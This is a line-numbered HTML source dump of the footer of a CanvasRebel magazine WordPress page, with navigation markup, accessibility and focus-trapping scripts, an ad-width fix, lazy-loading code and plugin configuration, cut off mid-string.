class="sc_layouts_logo sc_layouts_logo_default trx_addons_inline_1440778836" ><img class="logo_image" 1008 src="//cdn.canvasrebel.com/wp-content/uploads/2020/04/logo-white.png" 1009 srcset="//cdn.canvasrebel.com/wp-content/uploads/2020/04/logo-white.png 2x" 1010 alt="CanvasRebel Magazine" ></a> </div> 1011 </div> 1012 <div class="elementor-element elementor-element-f1376ce sc_fly_static elementor-widget elementor-widget-spacer" data-id="f1376ce" data-element_type="widget" data-e-type="widget" data-widget_type="spacer.default"> 1013 <div class="elementor-widget-container"> 1014 <div class="elementor-spacer"> 1015 <div class="elementor-spacer-inner"></div> 1016 </div> 1017 </div> 1018 </div> 1019 <div class="elementor-element elementor-element-93e9309 sc_fly_static elementor-widget elementor-widget-text-editor" data-id="93e9309" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 1020 <div class="elementor-widget-container"> 1021 <p>Conversations with Entrepreneurs, Artists & Creatives</p> </div> 1022 </div> 1023 <div class="elementor-element elementor-element-044aa82 sc_fly_static elementor-widget elementor-widget-spacer" data-id="044aa82" data-element_type="widget" data-e-type="widget" data-widget_type="spacer.default"> 1024 <div class="elementor-widget-container"> 1025 <div class="elementor-spacer"> 1026 <div class="elementor-spacer-inner"></div> 1027 </div> 1028 </div> 1029 </div> 1030 <div class="elementor-element elementor-element-6b93a44 elementor-widget-divider--view-line sc_fly_static elementor-widget elementor-widget-divider" data-id="6b93a44" data-element_type="widget" data-e-type="widget" data-widget_type="divider.default"> 1031 <div class="elementor-widget-container"> 1032 <div class="elementor-divider"> 1033 <span class="elementor-divider-separator"> 1034 </span> 1035 </div> 1036 </div>
1037 </div> 1038 <div class="elementor-element elementor-element-5bddf4f sc_fly_static elementor-widget elementor-widget-spacer" data-id="5bddf4f" data-element_type="widget" data-e-type="widget" data-widget_type="spacer.default"> 1039 <div class="elementor-widget-container"> 1040 <div class="elementor-spacer"> 1041 <div class="elementor-spacer-inner"></div> 1042 </div> 1043 </div> 1044 </div> 1045 </div> 1046 </div> 1047 </div> 1048 </section> 1049 <section class="elementor-section elementor-inner-section elementor-element elementor-element-6ea7318 elementor-section-boxed elementor-section-height-default elementor-section-height-default sc_fly_static" data-id="6ea7318" data-element_type="section" data-e-type="section"> 1050 <div class="elementor-container elementor-column-gap-extended"> 1051 <div class="elementor-column elementor-col-100 elementor-inner-column elementor-element elementor-element-c513e45 sc_layouts_column_align_center sc_layouts_column sc_content_align_inherit sc_layouts_column_icons_position_left sc_fly_static" data-id="c513e45" data-element_type="column" data-e-type="column"> 1052 <div class="elementor-widget-wrap elementor-element-populated"> 1053 <div class="elementor-element elementor-element-fa82326 sc_fly_static elementor-widget elementor-widget-trx_sc_layouts_search" data-id="fa82326" data-element_type="widget" data-e-type="widget" data-widget_type="trx_sc_layouts_search.default"> 1054 <div class="elementor-widget-container"> 1055 <div class="sc_layouts_search" ><div class="search_wrap search_style_normal layouts_search"> 1056 <div class="search_form_wrap"> 1057 <form role="search" method="get" class="search_form" action="https://canvasrebel.com/"> 1058 <input type="hidden" value="" name="post_types"> 1059 <input type="text" class="search_field" placeholder="Type here and hit enter" value="" name="s"> 1060 <button type="submit" class="search_submit trx_addons_icon-search"></button> 1061 </form> 1062 </div> 1063 </div></div> </div> 1064 </div> 1065 <div class="elementor-element elementor-element-9879d88 elementor-widget-divider--view-line sc_fly_static elementor-widget elementor-widget-divider" data-id="9879d88" data-element_type="widget" data-e-type="widget" data-widget_type="divider.default"> 1066 <div class="elementor-widget-container"> 1067 <div class="elementor-divider"> 1068 <span class="elementor-divider-separator"> 1069 </span> 1070 </div> 1071 </div> 1072 </div> 1073 <div class="elementor-element elementor-element-050ad8b sc_fly_static elementor-widget elementor-widget-spacer" data-id="050ad8b" data-element_type="widget" data-e-type="widget" data-widget_type="spacer.default"> 1074 <div class="elementor-widget-container"> 1075 <div class="elementor-spacer"> 1076 <div class="elementor-spacer-inner"></div> 1077 </div> 1078 </div> 1079 </div> 1080 <div class="elementor-element elementor-element-b4edd4a elementor-nav-menu__align-center elementor-nav-menu--dropdown-tablet elementor-nav-menu__text-align-aside elementor-nav-menu--toggle elementor-nav-menu--burger sc_fly_static elementor-widget elementor-widget-nav-menu" data-id="b4edd4a" data-element_type="widget" data-e-type="widget" data-settings="{"layout":"vertical","submenu_icon":{"value":"<svg aria-hidden=\"true\" class=\"e-font-icon-svg e-fas-caret-down\"
1080 viewBox=\"0 0 320 512\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\"><path d=\"M31.3 192h257.3c17.8 0 26.7 21.5 14.1 34.1L174.1 354.8c-7.8 7.8-20.5 7.8-28.3 0L17.2 226.1C4.6 213.5 13.5 192 31.3 192z\"><\/path><\/svg>","library":"fa-solid"},"toggle":"burger"}" data-widget_type="nav-menu.default"> 1081 <div class="elementor-widget-container"> 1082 <nav aria-label="Menu" class="elementor-nav-menu--main elementor-nav-menu__container elementor-nav-menu--layout-vertical e--pointer-none"> 1083 <ul id="menu-1-b4edd4a" class="elementor-nav-menu sm-vertical"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-715058"><a href="https://canvasrebel.com/about-canvasrebel/" class="elementor-item">About CanvasRebel</a></li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-715054"><a href="https://canvasrebel.com/canvasrebel-privacy-terms-of-service/" class="elementor-item">PRIVACY & TERMS OF SERVICE</a></li><li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-23037"><a href="https://canvasinterviews.com/recommendations" class="elementor-item">Suggest a Story</a></li></ul> </nav> 1084 <div class="elementor-menu-toggle" role="button" tabindex="0" aria-label="Menu Toggle" aria-expanded="false"> 1085 <svg aria-hidden="true" role="presentation" class="elementor-menu-toggle__icon--open e-font-icon-svg e-eicon-menu-bar" viewBox="0 0 1000 1000" xmlns="http://www.w3.org/2000/svg"><path d="M104 333H896C929 333 958 304 958 271S929 208 896 208H104C71 208 42 237 42 271S71 333 104 333ZM104 583H896C929 583 958 554 958 521S929 458 896 458H104C71 458 42 487 42 521S71 583 104 583ZM104 833H896C929 833 958 804 958 771S929 708 896 708H104C71 708 42 737 42 771S71 833 104 833Z"></path></svg><svg aria-hidden="true" role="presentation" class="elementor-menu-toggle__icon--close e-font-icon-svg e-eicon-close" viewBox="0 0 1000 1000" xmlns="http://www.w3.org/2000/svg"><path d="M742 167L500 408 258 167C246 154 233 150 217 150 196 150 179 158 167 167 154 179 150 196 150 212 150 229 154 242 171 254L408 500 167 742C138 771 138 800 167 829 196 858 225 858 254 829L496 587 738 829C750 842 767 846 783 846 800 846 817 842 829 829 842 817 846 804 846 783 846 767 842 750 829 737L588 500 833 258C863 229 863 200 833 171 804 137 775 137 742 167Z"></path></svg> </div> 1086 <nav class="elementor-nav-menu--dropdown elementor-nav-menu__container" aria-hidden="true"> 1087 <ul id="menu-2-b4edd4a" class="elementor-nav-menu sm-vertical"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-715058"><a href="https://canvasrebel.com/about-canvasrebel/" class="elementor-item" tabindex="-1">About CanvasRebel</a></li><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-715054"><a href="https://canvasrebel.com/canvasrebel-privacy-terms-of-service/" class="elementor-item" tabindex="-1">PRIVACY & TERMS OF SERVICE</a></li><li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-23037"><a href="https://canvasinterviews.com/recommendations" class="elementor-item" tabindex="-1">Suggest a Story</a></li></ul> </nav> 1088 </div> 1089 </div> 1090 <div class="elementor-element elementor-element-da44f90 sc_fly_static elementor-widget elementor-widget-spacer" data-id="da44f90" data-element_type="widget" data-e-type="widget" data-widget_type="spacer.default"> 1091 <div class="elementor-widget-container"> 1092 <div class="elementor-spacer"> 1093 <div class="elementor-spacer-inner"></div> 1094 </div> 1095 </div> 1096 </div> 1097 </div> 1098 </div> 1099 </div> 1100 </section> 1101 <section class="elementor-section elementor-inner-section elementor-element elementor-element-df843ed elementor-section-boxed elementor-section-height-default elementor-section-height-default sc_fly_static" data-id="df843ed" data-element_type="section" data-e-type="section"> 1102 <div class="elementor-container elementor-column-gap-extended"> 1103 <div class="elementor-column elementor-col-100 elementor-inner-column elementor-element elementor-element-3d309dd sc_layouts_column_align_center sc_layouts_column sc_content_align_inherit sc_layouts_column_icons_position_left sc_fly_static" data-id="3d309dd" data-element_type="column" data-e-type="column"> 1104 <div class="elementor-widget-wrap elementor-element-populated"> 1105 <div class="elementor-element elementor-element-2d248fb sc_fly_static elementor-widget elementor-widget-text-editor" data-id="2d248fb" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 1106 <div class="elementor-widget-container"> 1107 © 2026 CanvasRebel. All Rights Reserved. </div>
1108 </div> 1109 <div class="elementor-element elementor-element-b0e2dec sc_fly_static elementor-widget elementor-widget-spacer" data-id="b0e2dec" data-element_type="widget" data-e-type="widget" data-widget_type="spacer.default"> 1110 <div class="elementor-widget-container"> 1111 <div class="elementor-spacer"> 1112 <div class="elementor-spacer-inner"></div> 1113 </div> 1114 </div> 1115 </div> 1116 <div class="elementor-element elementor-element-3beb9a3 sc_fly_static elementor-widget elementor-widget-trx_sc_socials" data-id="3beb9a3" data-element_type="widget" data-e-type="widget" data-widget_type="trx_sc_socials.default"> 1117 <div class="elementor-widget-container"> 1118 <div 1119 class="sc_socials sc_socials_default sc_align_none" ><div class="socials_wrap sc_item_content"><a target="_blank" rel="nofollow" href="https://www.instagram.com/canvasrebel/" class="social_item social_item_style_icons sc_icon_type_icons social_item_type_icons"><span class="social_icon social_icon_instagram" style=""><span class="screen-reader-text">instagram</span><span class="icon-instagram"></span></span></a></div></div> </div> 1120 </div> 1121 </div> 1122 </div> 1123 </div> 1124 </section> 1125 </div> 1126 </div> 1127 </div> 1128 </section> 1129 </div> 1130 <span class="sc_layouts_panel_close trx_addons_button_close" tabindex="0"><span class="sc_layouts_panel_close_icon trx_addons_button_close_icon"></span></span></div></div> 1131<a href="#" role="button" class="trx_addons_scroll_to_top trx_addons_icon-up" title="Scroll to top"><span class="trx_addons_scroll_progress trx_addons_scroll_progress_type_round"></span></a>
1132<script type="speculationrules"> 1133{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/kicker-child/*","/wp-content/themes/kicker/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]} 1134</script>
vendor: 1 bytes, line 1134
1134
1135<script> 1136(function($) { 1137 $(document).ready(function() { 1138 setTimeout(function() { 1139 const $panel = $('#left_panel_1'); 1140 const $openLinks = $('.trx_addons_panel_link'); 1141 const $closeBtn = $panel.find('.trx_addons_button_close'); 1142 1143 $openLinks.on('click', function(e) { 1144 e.preventDefault(); 1145 1146 const $trigger = $(this); // store which link opened the panel 1147 1148 // Show panel (optional class) 1149 $panel.addClass('is-active'); 1150 1151 // Find focusable elements inside the panel 1152 const $focusable = $panel.find( 1153 'a, button, input, textarea, select, [tabindex]:not([tabindex="-1"])' 1154 ); 1155 const $first = $focusable.first(); 1156 const $last = $focusable.last(); 1157 1158 // Move focus inside 1159 if ($first.length) { 1160 $first.focus(); 1161 } else { 1162 $panel.attr('tabindex', '-1').focus(); 1163 } 1164 1165 // Trap focus inside panel 1166 const trapFocus = function(event) { 1167 if (event.key !== 'Tab') return; 1168 1169 // FIX: If no focusable elements, just prevent tabbing out. 1170 // This was the cause of your bug. 1171 if (!$first.length) { 1172 event.preventDefault(); 1173 return; 1174 } 1175 1176 if (event.shiftKey) { 1177 if ($(document.activeElement).is($first)) { 1178 event.preventDefault(); 1179 $last.focus(); 1180 } 1181 } else { 1182 if ($(document.activeElement).is($last)) { 1183 event.preventDefault(); 1184 $first.focus(); 1185 } 1186 } 1187 }; 1188 1189 // Function to close panel and restore focus 1190 const closePanel = function() { 1191 $panel.removeClass('is-active'); 1192 $panel.off('keydown', trapFocus); 1193 $(document).off('keydown', escHandler); 1194 if ($trigger.length) $trigger.focus(); 1195 }; 1196 1197 // Esc key closes panel 1198 const escHandler = function(event) { 1199 if (event.key === 'Escape') { 1200 closePanel(); 1201 } 1202 }; 1203 1204 // Close button click 1205 $closeBtn.one('click', function() { 1206 closePanel(); 1207 }); 1208 1209 // Add listeners 1210 $panel.on('keydown', trapFocus); 1211 $(document).on('keydown', escHandler); 1212 }); 1213 $('.search_submit').attr('aria-label', 'Submit Search'); 1214 // $('.sc_layouts_panel_close_icon.trx_addons_button_close_icon').attr('aria-label', 'Close Side Drawer'); 1215 $('.sc_layouts_panel_close.trx_addons_button_close').attr('aria-label', 'Close Side Drawer'); 1216 $('.search_close.trx_addons_button_close').attr('aria-label', 'close search f
1216ield'); 1217 }, 1000); 1218 $('.layouts_title_1 h1.sc_layouts_title_caption').each(function() { 1219 const $old = $(this); 1220 const attrs = $.map(this.attributes, function(attr) { 1221 return attr.name + '="' + attr.value + '"'; 1222 }).join(' '); 1223 const newEl = $('<div ' + attrs + '>' + $old.html() + '</div>'); 1224 $old.replaceWith(newEl); 1225 }); 1226 $('.sc_fly_static .social_items').attr('role', 'dialog'); 1227 1228 // Listen for Esc key 1229 $(document).on('keydown', function(e) { 1230 if (e.key === 'Escape') { 1231 const $focused = $(document.activeElement); 1232 1233 // Check if focus is inside .social_items 1234 if ($focused.closest('.sc_fly_static .social_items').length) { 1235 const $caption = $('.sc_fly_static .socials_caption'); 1236 1237 // Trigger click and move focus 1238 $caption.trigger('click').focus(); 1239 } 1240 } 1241 }); 1242 $('.post-navigation .nav-links .post-title').each(function() { 1243 const $this = $(this); 1244 1245 // Only replace if it's actually an h6 1246 if ($this.is('h6')) { 1247 const content = $this.html(); 1248 const newEl = $('<span class="post-title"></span>').html(content); 1249 1250 $this.replaceWith(newEl); 1251 } 1252 }); 1253 $(".show_comments_button").attr("aria-expanded", "false") 1254 $(".show_comments_button").click(function() { 1255 $(this).attr("aria-expanded", $(this).attr("aria-expanded") === "true" ? "false" : "true"); 1256 }); 1257 const urlParams = new URLSearchParams(window.location.search); 1258 const hash = window.location.hash; 1259 1260 // Check if user just posted a comment (pending moderation or anchor to comment form) 1261 if (hash === '#commentform' || (urlParams.has('unapproved') && urlParams.has('moderation-hash'))) { 1262 // Create the accessible message element 1263 const message = $('<div>', { 1264 'class': 'comment-feedback-message', 1265 'role': 'alert', 1266 'aria-live': 'assertive', 1267 'tabindex': '-1', 1268 'text': 'Your comment has been submitted successfully and is awaiting moderation.' 1269 }); 1270 1271 // Append message to the comment form 1272 $('.show_comments_single').append(message); 1273 1274 // Optionally move focus to message for accessibility 1275 message.focus(); 1276 } 1277 // Function to enhance message boxes for accessibility 1278 function enhanceMessageBox($box) { 1279 $box.attr({ 1280 'role': 'alert', 1281 'aria-live': 'assertive' 1282 }); 1283 } 1284 1285 // Observe document body for new message boxes 1286 const observer = new MutationObserver(function(mutations) { 1287 mutations.forEach(function(mutation) { 1288 mutation.addedNodes.forEach(function(node) { 1289 if (node.nodeType === 1) { // Ensure it's an element 1290 const $node = $(node); 1291 1292 // If the added node itself is a message box 1293 if ($node.hasClass('trx_addons_message_box')) { 1294 enhanceMessageBox($node); 1295 } 1296 1297 // Or if message boxes exist inside the added node 1298 $node.find('.trx_addons_message_box').each(function() { 1299 enhanceMessageBox($(this)); 1300 }); 1301 } 1302 }); 1303 }); 1304 }); 1305 1306 // Start observing for dynamically added messages 1307 observer.observe(document.body, { 1308 childList: true, 1309 subtree: true 1310 }); 1311 1312 // Also enhance any that already exist on page load 1313 $('.trx_addons_message_box').each(function() { 1314 enhanceMessageBox($(this)); 1315 }); 1316 $('.trx_addons_button_close').attr('tabindex','0'); 1317 function trapFocus(container) { 1318 const focusableSelectors = 1319 'a[href], area[href], input:not([disabled]), select:not([disabled]), textarea:not([disabled]), button:not([disabled]), [tabindex]:not([tabindex="-1"])'; 1320 const focusableEls = container.querySelectorAll(focusableSelectors); 1321 const firstEl = focusableEls[0]; 1322 const lastEl = focusableEls[focusableEls.length - 1]; 1323 1324 function handleKeyDown(e) { 1325 // FIX: Check if elements exist. If not, just prevent tab. 1326 if (!firstEl || !lastEl) { 1327 if (e.key === 'Tab' || e.keyCode === 9) { 1328 e.preventDefault(); 1329 } 1330 return; 1331 } 1332 1333 if (e.key === 'Tab' || e.keyCode === 9) { 1334 if (e.shiftKey) { 1335 // Shift + Tab 1336 if (document.activeElement === firstEl) { 1337 e.preventDefault();
1338 lastEl.focus(); 1339 } 1340 } else { 1341 // Tab 1342 if (document.activeElement === lastEl) { 1343 e.preventDefault(); 1344 firstEl.focus(); 1345 } 1346 } 1347 } else if (e.key === 'Escape' || e.keyCode === 27) { 1348 // Trigger close button click 1349 const closeBtn = container.querySelector('.trx_addons_button_close'); 1350 if (closeBtn) closeBtn.click(); 1351 } 1352 } 1353 1354 container.addEventListener('keydown', handleKeyDown); 1355 1356 // Focus first element when activated 1357 if (firstEl) firstEl.focus(); 1358 1359 // Return a cleanup function 1360 return () => container.removeEventListener('keydown', handleKeyDown); 1361} 1362$('.search_form_wrap').each(function (index) { 1363 const newId = 'search-wrap-' + (index + 1); 1364 $(this).attr('id', newId); 1365}); 1366function handleTrap($wrap) { 1367 1368 const $close = $wrap.find('.trx_addons_button_close'); 1369 1370 $(document).on('keydown', function(e) { 1371 1372 // Only active when parent has .search_opened 1373 if (!$wrap.closest('.search_opened').length) return; 1374 1375 const $focusable = $wrap.find( 1376 'a[href], button, input, textarea, select, [tabindex]:not([tabindex="-1"])' 1377 ).filter(':visible'); 1378 1379 if ($focusable.length === 0) return; 1380 1381 const first = $focusable.first()[0]; 1382 const last = $focusable.last()[0]; 1383 1384 // ESC → trigger close 1385 if (e.key === "Escape" && document.activeElement === $close[0]) { 1386 e.preventDefault(); 1387 $close.trigger('click'); 1388 } 1389 1390 // TAB trap 1391 if (e.key === "Tab") { 1392 1393 // SHIFT + TAB → loop to last 1394 if (e.shiftKey) { 1395 if (document.activeElement === first) { 1396 e.preventDefault(); 1397 last.focus(); 1398 } 1399 } 1400 1401 // TAB → loop to first 1402 else { 1403 if (document.activeElement === last) { 1404 e.preventDefault(); 1405 first.focus(); 1406 } 1407 } 1408 } 1409 1410 }); 1411} 1412 1413// Apply to both wrappers 1414handleTrap($('#search-wrap-1')); 1415handleTrap($('#search-wrap-2')); 1416// When closing the form: 1417// releaseFocus(); 1418 $(document).on('keydown', function(e) { 1419 if (e.key === 'Enter') { 1420 $('.search_close.trx_addons_button_close').trigger('click'); 1421 } 1422}); 1423 const main = document.querySelector(".page_content_wrap[role='main']"); 1424 // Make main region focusable 1425 main.setAttribute("id", "main-content"); 1426 main.setAttribute("tabindex", "-1"); 1427 1428 1429 1430 // Detect if it's a "no results" page 1431 const noResults = main.querySelector(".post_item_none_search");
1432 const results = main.querySelector(".posts_container"); 1433 1434 // Common aria-live region so updates are announced 1435 if (!main.hasAttribute("aria-live")) { 1436 main.setAttribute("aria-live", "assertive"); 1437 main.setAttribute("aria-atomic", "true"); 1438 } 1439 1440 // Add accessibility improvements for "no results" 1441 if (noResults) { 1442 const title = noResults.querySelector(".page_title"); 1443 if (title) title.setAttribute("id", "no-results-title"); 1444 1445 // Announce context 1446 const info = noResults.querySelector(".page_info"); 1447 if (info) { 1448 info.setAttribute("aria-live", "polite"); 1449 info.setAttribute("aria-atomic", "true"); 1450 } 1451 1452 // Add hidden label to the search input if missing 1453 const searchInput = noResults.querySelector(".search_field"); 1454 if (searchInput && !noResults.querySelector("label")) { 1455 const label = document.createElement("label"); 1456 label.textContent = "Search again"; 1457 label.className = "visually-hidden"; 1458 label.setAttribute("for", "search-again"); 1459 searchInput.id = "search-again"; 1460 searchInput.parentNode.insertBefore(label, searchInput); 1461 } 1462 } 1463 1464 // Add heading and aria attributes for results page 1465 if (results) { 1466 // Add alt text to images if missing 1467 results.querySelectorAll("img:not([alt])").forEach((img) => { 1468 img.setAttribute("alt", "Search result image"); 1469 }); 1470 1471 // Add aria-label to links with empty icons 1472 results.querySelectorAll("a.icons[aria-hidden='true']").forEach((a) => { 1473 a.removeAttribute("aria-hidden"); 1474 a.setAttribute("aria-label", "View this post"); 1475 }); 1476 } 1477 1478 // Inject a hidden CSS helper for labels (only once) 1479 if (!document.querySelector("#visually-hidden-style")) { 1480 const style = document.createElement("style"); 1481 style.id = "visually-hidden-style"; 1482 style.textContent = ` 1483 .visually-hidden { 1484 position: absolute !important; 1485 height: 1px; width: 1px; 1486 overflow: hidden; clip: rect(1px,1px,1px,1px); 1487 white-space: nowrap; 1488 } 1489 `; 1490 document.head.appendChild(style); 1491 } 1492 function trapFocusMenu(container) { 1493 const focusableItemsSelector = 1494 'a[href], area[href], input:not([disabled]), select:not([disabled]), textarea:not([disabled]), button:not([disabled]), [tabindex]:not([tabindex="-1"])'; 1495 const focusableItems = container.querySelectorAll(focusableItemsSelector); 1496 const firstItem = focusableItems[0]; 1497 const lastItem = focusableItems[focusableItems.length - 1]; 1498 1499 function handleMenuKeyDown(event) { 1500 // FIX: Check if elements exist. If not, just prevent tab. 1501 if (!firstItem || !lastItem) { 1502 if (event.key === 'Tab' || event.keyCode === 9) { 1503 event.preventDefault(); 1504 } 1505 return; 1506 } 1507 1508 if (event.key === 'Tab' || event.keyCode === 9) { 1509 if (event.shiftKey) { 1510 // Shift + Tab 1511 if (document.activeElement === firstItem) { 1512 event.preventDefault(); 1513 lastItem.focus(); 1514 } 1515 } else { 1516 // Tab only 1517 if (document.activeElement === lastItem) { 1518 event.preventDefault(); 1519 firstItem.focus(); 1520 } 1521 } 1522 } else if (event.key === 'Escape' || event.keyCode === 27) { 1523 // Trigger close button click 1524 const closeButton = container.querySelector('.theme_button_close'); 1525 if (closeButton) closeButton.click(); 1526 } 1527 } 1528 1529 container.addEventListener('keydown', handleMenuKeyDown); 1530 1531 // Focus first element when opened 1532 if (firstItem) firstItem.focus(); 1533 1534 // Return cleanup function 1535 return () => container.removeEventListener('keydown', handleMenuKeyDown); 1536} 1537 1538// Example usage: 1539const mobileMenu = document.querySelector('.menu_mobile_fullscreen'); 1540const releaseMenuFocus = trapFocusMenu(mobileMenu); 1541 1542 1543// Watch for scroll and resize (covers most sticky header behaviors) 1544window.addEventListener('scroll', checkStickyHeader); 1545window.addEventListener('resize', checkStickyHeader); 1546 1547// Run once initially in case sticky header is already active 1548checkStickyHeader(); 1549 1550// When closing the menu: 1551// releaseMenuFocus(); 1552$('.menu_mobile_close').attr('aria-label','Close Menu Drawer'); 1553$('.sc_layouts_menu_mobile_button a').attr('aria-label','Open Me
1553nu Drawer'); 1554 const $mobileBtn = $('.sc_layouts_menu_mobile_button a'); 1555 1556 // Set default state 1557 $mobileBtn.attr('aria-expanded', 'false'); 1558const $menuClose = $('.menu_mobile_close'); 1559 // Toggle aria-expanded when clicked 1560 $mobileBtn.on('click', function(e) { 1561 const isExpanded = $(this).attr('aria-expanded') === 'true'; 1562 $(this).attr('aria-expanded', isExpanded ? 'false' : 'true'); 1563 }); 1564 // When close button is clicked 1565 $menuClose.on('click', function(e) { 1566 $mobileBtn.attr('aria-expanded', 'false'); 1567 }); 1568 }); 1569})(jQuery); 1570</script>
1570<!-- AdThrive - Override Elementor 100% iframe width -->
1571<script> 1572setInterval(() => { 1573 const elementorPage = document.querySelector('[class*="elementor"]') 1574 const adThriveLoaded = document.getElementsByTagName('body')[0].classList.contains('adthrive-device-phone') || 1575 document.getElementsByTagName('body')[0].classList.contains('adthrive-device-tablet') || 1576 document.getElementsByTagName('body')[0].classList.contains('adthrive-device-desktop') 1577 if (!adThriveLoaded) { 1578 console.log('Waiting for AdThrive...') 1579 return 1580 } 1581 if (elementorPage) { 1582 const ads = document.querySelectorAll(".adthrive-ad iframe"); 1583 ads.forEach(ad => { 1584 if (typeof ad.width !== "undefined" && ad.width !== "1") { 1585 ad.style.width = ad.width + "px"; 1586 } 1587 }) 1588 } 1589}, 50); 1590</script>
1590 1591
1591<script> 1592 ( () => { 1593 const lazyloadRunObserver = () => { 1594 const lazyloadBackgrounds = document.querySelectorAll( `.e-con.e-parent:not(.e-lazyloaded)` ); 1595 const lazyloadBackgroundObserver = new IntersectionObserver( ( entries ) => { 1596 entries.forEach( ( entry ) => { 1597 if ( entry.isIntersecting ) { 1598 let lazyloadBackground = entry.target; 1599 if( lazyloadBackground ) { 1600 lazyloadBackground.classList.add( 'e-lazyloaded' ); 1601 } 1602 lazyloadBackgroundObserver.unobserve( entry.target ); 1603 } 1604 }); 1605 }, { rootMargin: '200px 0px 200px 0px' } ); 1606 lazyloadBackgrounds.forEach( ( lazyloadBackground ) => { 1607 lazyloadBackgroundObserver.observe( lazyloadBackground ); 1608 } ); 1609 }; 1610 const events = [ 1611 'DOMContentLoaded', 1612 'elementor/lazyload/observe', 1613 ]; 1614 events.forEach( ( event ) => { 1615 document.addEventListener( event, lazyloadRunObserver ); 1616 } ); 1617 } )(); 1618 </script>
1618 1619 1620 1621 1622 1623 1624 1625 1626 1627 1628
1629<script id="powerkit-js" defer="defer" src="https://canvasrebel.com/wp-content/plugins/powerkit/assets/js/_scripts.js?ver=3.1.1"></script>
vendor: 1 bytes, line 1629
1629
1630<script id="magnific-popup-js" defer="defer" src="https://canvasrebel.com/wp-content/plugins/trx_addons/js/magnific/jquery.magnific-popup.min.js"></script>
vendor: 1 bytes, line 1630
1630
1631<script id="trx-popup-cookie-js" defer="defer" src="https://canvasrebel.com/wp-content/plugins/trx_popup/js/jquery.cookie.js"></script>
vendor: 1 bytes, line 1631
1631
1632<script id="trx-popup-script-js" defer="defer" src="https://canvasrebel.com/wp-content/plugins/trx_popup/js/trx_popup.script.js"></script>
vendor: 1 bytes, line 1632
1632
1633<script id="kicker-scriptCustom-js" defer="defer" src="https://canvasrebel.com/wp-content/themes/kicker-child/customScript.js?ver=4eccbeb59b33e14c32efe5f7a9710e41"></script>
vendor: 1 bytes, line 1633
1633
1634<script id="trx_addons-js-extra"> 1635var TRX_ADDONS_STORAGE = {"admin_mode":"","ajax_url":"https://canvasrebel.com/wp-admin/admin-ajax.php","ajax_nonce":"f9294a70c9","rest_url":"https://canvasrebel.com/wp-json/","site_url":"https://canvasrebel.com","plugin_url":"https://canvasrebel.com/wp-content/plugins/trx_addons/","post_id":"2306302","vc_edit_mode":"","is_preview":"","is_preview_gb":"","is_preview_elm":"","no_image":"https://canvasrebel.com/wp-content/plugins/trx_addons/css/images/no-image.jpg","popup_engine":"magnific","scroll_progress":"hide","hide_fixed_rows":"0","smooth_scroll":"","animate_inner_links":"0","disable_animation_on_mobile":"","add_target_blank":"0","menu_collapse":"1","menu_collapse_icon":"trx_addons_icon-ellipsis-vert","menu_stretch":"1","resize_tag_video":"","resize_tag_iframe":"1","allow_cookie_is_retina":"","mediaplayer_icons_selector_allowed":"1","user_logged_in":"","theme_slug":"kicker","theme_bg_color":"#ffffff","theme_accent_color":"#EE4D45","page_wrap_class":".page_wrap","header_wrap_class":".top_panel","footer_wrap_class":".footer_wrap","sidebar_wrap_class":".sidebar","columns_wrap_class":"trx_addons_columns_wrap","columns_in_single_row_class":"columns_in_single_row","column_class_template":"trx_addons_column-$1_$2","loading_layout":"\u003Cdiv class=\"trx_addons_loading trx_addons_loading_style_default\"\u003E\u003C/div\u003E","email_mask":"^([a-zA-Z0-9_\\-]+\\.)*[a-zA-Z0-9_\\-]+@[a-zA-Z0-9_\\-]+(\\.[a-zA-Z0-9_\\-]+)*\\.[a-zA-Z0-9]{2,12}$","mobile_breakpoint_fixedrows_off":"768","mobile_breakpoint_fixedcolumns_off":"768","mobile_breakpoint_stacksections_off":"768","mobile_breakpoint_scroll_lag_off":"0","mobile_breakpoint_fullheight_off":"1025","mobile_breakpoint_mousehelper_off":"1025","msg_caption_yes":"Yes","msg_caption_no":"No","msg_caption_ok":"OK","msg_caption_accept":"Accept","msg_caption_apply":"Apply","msg_caption_cancel":"Cancel","msg_caption_attention":"Attention!","msg_caption_warning":"Warning!","msg_ajax_error":"Invalid server answer!","msg_magnific_loading":"Loading image","msg_magnific_error":"Error loading image","msg_magnific_close":"Close (Esc)","msg_error_like":"Error saving your like! Please, try again later.","msg_field_name_empty":"The name can't be empty","msg_field_email_empty":"Too short (or empty) email address","msg_field_email_not_valid":"Invalid email address","msg_field_text_empty":"The message text can't be empty","msg_search_error":"Search error! Try again later.","msg_send_complete":"Send message complete!","msg_send_error":"Transmit failed!","msg_validation_error":"Error data validation!","msg_name_empty":"The name can't be empty","msg_name_long":"Too long name","msg_email_empty":"Too short (or empty) email address","msg_email_long":"E-mail address is too long","msg_email_not_valid":"E-mail address is invalid","msg_text_empty":"The message text can't be empty","msg_copied":"Copied!","ajax_views":"","menu_cache":[".menu_mobile_inner \u003E nav \u003E ul"],"login_via_ajax":"1","double_opt_in_registration":"1","msg_login_empty":"The Login field can't be empty","msg_login_long":"The Login field is too long","msg_password_empty":"The password can't be empty and shorter then 4 characters","msg_password_long":"The password is too long","msg_login_success":"Login success! The page should be reloaded in 3 sec.","msg_login_error":"Login failed!","msg_not_agree":"Please, read and check 'Terms and Conditions'","msg_password_not_equal":"The passwords in both fields are not equal","msg_registration_success":"Thank you for registering. Please confirm registration by clicking on the link in the letter sent to the specified email.","msg_registration_error":"Registration 